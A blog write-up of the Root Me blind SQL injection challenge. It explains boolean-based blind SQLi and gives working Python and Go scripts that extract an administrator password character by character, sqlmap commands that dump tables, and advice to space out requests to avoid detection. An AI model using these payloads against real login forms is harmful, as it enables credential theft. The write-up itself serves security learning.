SQL Injections (or SQLi) are a common way to extract data from a target.
Sometimes just running the right query can return all the data we need, but in other cases the result is not so obvious. That is the case in the Root Me SQL injection ā Blind challenge that Iāll use for example sake. Of course, posting Root Me challenges solutions is forbiden, so Iāll only explain the general process and you can try it on your own. Some fields will also be redacted e.g. āadministratorā or āadministrator userā only refer to the access rights possessed by the user and are not real values.
This post will be split into three parts: the challenge explanation, blind SQLi explanation, and last the resolution with code examples (Python 3 and Go) as well as a bonus sqlmap
approach.
Root Me challenge explanation
First, the challenge. This is a standard Root Me challenge, where we are tasked to find a flag. In this case, the flag is the administrator password, meaning it is not enough to log in via an SQLi as we would still be missing the password.
When starting the challenge, we are greeted with a login page:
Here the obvious procedure, as indicated by the challenge name, is to try and get entry by not just using a carefully crafted SQL injection, but a blind one. Indeed, we soon realise that either we get a failed log in or we get logged in. Sometimes a malformed SQL error, but we canāt extract data like in a normal SQLi.
Thatās where the āblindā comes in!
What is a blinsqli
The blind SQLi is a type of SQLi so called because of the lack of output data from the target, thus the injecting process is akin to going in blind! However weāre not entirely blind. Blind SQLi can be used when the system responds differently to a failed and to a successful request. What does this mean? It means that while we canāt output the desired data directly, we can still slowly extract it.
Indeed, with there being two states it means we can ask binary questions! If the request goes through then itās true, and if it fails then itās false.
In our case we are trying to log in as the administrator user, so a request going through would be a request that shows us āHi masterā, while a failed request would show us āErrorā.
We now know how we can extract data, so letās get rolling!
Challenge resolution
To resolve this challenge we will need to extract the password, as mentioned earlier. This means we will always try to log in as the administrator user, and we will need to define a keyword present in the result of a successful request but not a failed one.
According to the previous picture, we can use either the name of the administrator or use āHi masterā that is only used to greet the administrator.
In general to get the length of something in SQL we would use the length()
function and be done with it. Here it is not that different, however we can only get true/false type answers. As such we can try the following payload:
administrator' AND length(redacted) == length -- -
Or if we prefer inequalities (useful for dichotomy, we will come back to it later):
administrator' AND length(redacted) > length -- -
We can also use an OR
based query, however we would then need to limit the result. For example the above query is equivalent to:
administrator' OR length(redacted) > length limit 1,1 -- -
With length
being the length we want to test for.
Having the length, we can then proceed to extracitng the password.
Extracting the password is a bit different, as we would normally use a SELECT password from Users WHERE UserName = 'Administrator'
or something of the kind.
Here it is not possible. What we can use though is the SQL substr()
function on one character at a time, to compare with with our input. This is done by setting 1 as the last parameter.
The payload would look something like:
administrator' AND substr(redacted, pos, 1) = l
With redacted
the source string, in our case the one containing the password, pos
being the index in the string and last but not least l
being the letter we are testing for.
Once again, we can use >
and <
operators as well, which will be useful for the dychotomic approach.
Letās get coding!
Naive approach (Python)
A naive approach would be to bruteforce the length and password sequentially. Letās see what it looks like in Python (I did not implement length extraction, see Go implementation of getLength()).
This approach is simple, we just iterate over the length of the password and try a list of characters against each character in the password. Iāll use string.printable
for the list of characters.
import urllib.request, urllib.parse, string, sys
from bs4 import BeautifulSoup as bs
I use urllib
to handle the HTTP requests, another useful library is Requests. string
allows me to use string.printable
to get all the printable characters, and finally BeautifulSoup
is very useful to handle HTML or XML.
password = ''
found = False
for j in range(1, redacted_length):
First letās declare variables for the password and āfoundā, which we will use to break the loop and to error out if our character set does not match the password we are trying to extract.
found=False
for i in string.printable:
payload= '\' OR substr(redacted,' + str(j) + ',1)=\'' + i + '\'-- -'
params = { 'username': payload, 'password': 'whatever' }
value = urllib.parse.urlencode(params).encode("utf-8")
request = urllib.request.Request("http://challenge01.root-me.org/web-serveur/ch10/", value)
response = urllib.request.urlopen(request)
soup = bs(response.read(), 'html.parser')
if(soup.findAll('h2', string='Hi master')):
found=True
password += i
break
if(not found):
sys.exit(1); # Exit with error
print(password)
Nothing magical happening here, as explainecd earlier we iterate on string.printable
characters for each character in the password and substitute both of those in our payload. Then we build the request with the params, amongst which our payload, with urllib
. We then execute the request and read the response then process it with BeautifulSoup
, looking for our keyword (āHi masterā).
If the character is found we append it to the password, if not we exit with an error. It does the job, however as the title suggest this is naive/low effort approach, and we can do better!
Thoughtful approach (Go)
A more thoughtful approach makes use of dichotomy, leveraging inequalities instead of the equality checks used above.
For this approach, we split the problem in two with each iteration, this allows us to reduce the execution time by a lot and also, and itās really important, to reduce the number of requests!
Dichotomy, looking for 4 in a sorted array ā Courtesy of LoStrangolatore, CC BY-SA 3.0
This is important as we donāt want to flood the logs of the target with our requests, ideally we would also space the checks by introducing a sleep()
between each iteration to avoid or at least lower the chance of detection, by blending in with the rest of the traffic.
Here I was more interested in how quickly can I get the result, so I also introduced concurrency, through goroutines. Do this moderately (it increases the load on the server, which is not nice) and at your own risk.
Letās see how we can get the length of the password! I donāt use dichtomy, as I thought about it afterwards. If you still wanted to use dichotomy you can take a look at how bruteforceChar(i int) does it.
func getLength() int {
length := -1
looking := true
for looking {
length++
payload := `' OR length(redacted)>` + strconv.Itoa(length) + ` limit 1,1-- -`
query := targetUrl.Query()
query.Set("password", "whatever")
query.Set("username", payload)
resp, err := http.PostForm(targetUrl.String(), query)
if err != nil {
log.Fatal(err)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
looking, _ = regexp.Match(keyword, body)
}
return length
}
While the length is not found, we loop and send the payload weāve seen above in Extracting password length. Itās a bit verbose!
Notice that we look for our keyword in the response body, this is our indicator of a failed or successful request.
Now that we have the length, we can fetch the password. Iāll make some helper functions. compareToPassword(i int, l string, operator string) bool that will build the payload with the index and letter we try for, as well as the operator used (<
or =
), and then execute it.
func compareToPassword(i int, l string, operator string) bool {
payload := `administrator' AND substr(redacted,` + strconv.Itoa(i+1) + `,1)` + operator + `'` + l + `' -- -`
query := targetUrl.Query()
query.Set("password", "whatever")
query.Set("username", payload)
resp, err := http.PostForm(targetUrl.String(), query)
if err != nil {
log.Fatal(err)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
match, _ := regexp.Match(keyword, body)
return match
}
bruteforceChar(i int) that will do the binary search and call compareToPassword(i int, l string, operator string) bool:
func bruteforceChar(i int) {
defer wg.Done()
var low rune // U+0000
var mid rune
high := unicode.MaxLatin1
for low < high {
mid = (low + high) / 2
l := mid
if compareToPassword(i, string(l), ">") {
low = mid + 1
} else {
high = mid
}
}
// low == high
if compareToPassword(i, string(low), "=") {
mux.Lock()
password[i] = low
mux.Unlock()
} else {
panic("Not in Latin1")
}
}
Here there is new stuff, first we have defer wg.Done()
which tells the WaitGroup
that the task is done, Iāll come back to it later when we talk about the use of goroutines. Then we have the use of rune
which may look surprising to non Go initiates. A rune
in Go is an alias for int32
and is used to store characters, as we now mainly use unicode which has lengthy characters as opposed to ASCII for which an int8
would have sufficed. The lowest possible rune we test will be U+0000
and for the highest one it will be the highest in the Latin1 charset, which fits my purpose well here. You are kindly invited to change it according to the purpose at hand, for example none of the Asian glyphs are in this charset so it would be ill-fitted for an Asian target.
After this is the dichotomy, while the two opposite pointers havenāt crossed there is still work to be done. We calculate the middle of these two pointers, and this is the letter we will try, we compare with the superior operator, allowing us to eliminate half the possibilities at once.
When the character is found, we add it in password
at the right index and break out of the loop.
And now to tie it all together:
func main() {
passwordLength := 0
fmt.Println("Starting password extraction")
fmt.Print("Password length: ")
passwordLength = getLength()
fmt.Print(passwordLength, "\n")
password = make([]rune, passwordLength)
fmt.Print("Password: ")
wg.Add(passwordLength)
for i := 0; i < passwordLength; i++ {
go bruteforceChar(i)
}
wg.Wait()
fmt.Println(string(password))
}
For each character, we call bruteforceChar(i int) in a goroutine, as shown by the go
keyword. This means each character can be found concurrently, and this is where we need the WaitGroup
to assure that we get all the characters before printing the result.
Here we tell the WaitGroup
it needs to wait for passwordLength
processes, in each process we defer wg.Done()
, meaning we tell to the WaitGroup
that this process is done (defer
calls the method before the encompassing function returns). At the end we wait for all processes to finish with wg.Wait()
.
Thatās it!
Conclusion
While SQLis require SQL knowledge and may seem mysterious or intimidating at first, especially so blind ones, they are actually pretty easy to understand conceptually. And in the case of this Root Me challenge, we get nice enough feedback to determine our success condition. In some cases, these are not available and the only thing to go with is the request execution time.
This is actually another type of blind SQLi, time-based blind SQLi. To go further I suggest to explore this other type of blind SQLi. A Root Me challenge is also avaible for it here: SQL injection ā Time based!
Bonus: sqlmap
approach
As a bonus, letās see how we can resolve this challenge by using state of the art tools, namely sqlmap
.
sqlmap -u "challenge01.root-me.org/web-serveur/ch10/" --data="username=1&password=1" -p username --tables --no-cast --technique=B --level=5 --risk=3 --dbms=SQLite
--technique=B
: use blind SQLi
-p username
: inject parameter username
--tables
: enumerate tables
This gives us:
Database: SQLite_masterdb
[1 table]
+----------+
| redacted |
+----------+
We continue by fetching the columns of this table.
sqlmap -u "challenge01.root-me.org/web-serveur/ch10/" --data="username=1&password=1" -p username --no-cast --technique=B --level=5 --risk=3 --dbms=SQLite -D SQLite_masterdb -T redacted --columns --time-sec=10 --threads=4
-D SQLite_masterdb
: target database
-T redacted
: target table
--columns
: enumerate columns
--threads=4
: speedier ;)
Database: SQLite_masterdb
Table: redacted
[3 entries]
+-------------+----------+
| Column | Type |
+-------------+----------+
| redacted_c1 | redacted |
| redacted_c3 | redacted |
| redacted_c3 | redacted |
+-------------+----------+
Good, looks like the info we need is here. Last query:
sqlmap -u "challenge01.root-me.org/web-serveur/ch10/" --data="username=1&password=1" -p username --no-cast --technique=B --level=5 --risk=3 --dbms=SQLite -D SQLite_masterdb -T users --time-sec=10 --dump --threads=4
--dump
: dump the table content
-C "column1","column2"
(not used here): only dump listed columns
Database: SQLite_masterdb
Table: users
[3 entries]
+-------------+-------------+-------------+
| redacted_c1 | redacted_c2 | redacted_c3 |
+-------------+-------------+-------------+
| redacted | redacted | redacted |
| redacted | redacted | redacted |
| redacted | redacted | redacted |
+-------------+-------------+-------------+
VoilĆ !
#blinsqli #rootme